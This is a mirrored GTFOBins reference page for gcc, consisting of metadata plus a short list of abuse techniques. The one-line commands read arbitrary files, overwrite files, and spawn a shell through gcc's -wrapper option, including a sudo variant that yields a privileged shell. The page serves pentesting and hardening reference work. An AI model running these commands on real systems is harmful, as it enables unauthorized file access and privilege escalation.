1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/gcc.md
2021-04-26 16:11:33 +02:00

327 B

functions
file-read file-write shell sudo
code
LFILE=file_to_read gcc -x c -E "$LFILE"
code
LFILE=file_to_delete gcc -xc /dev/null -o $LFILE
code
gcc -wrapper /bin/sh,-s .
code
sudo gcc -wrapper /bin/sh,-s .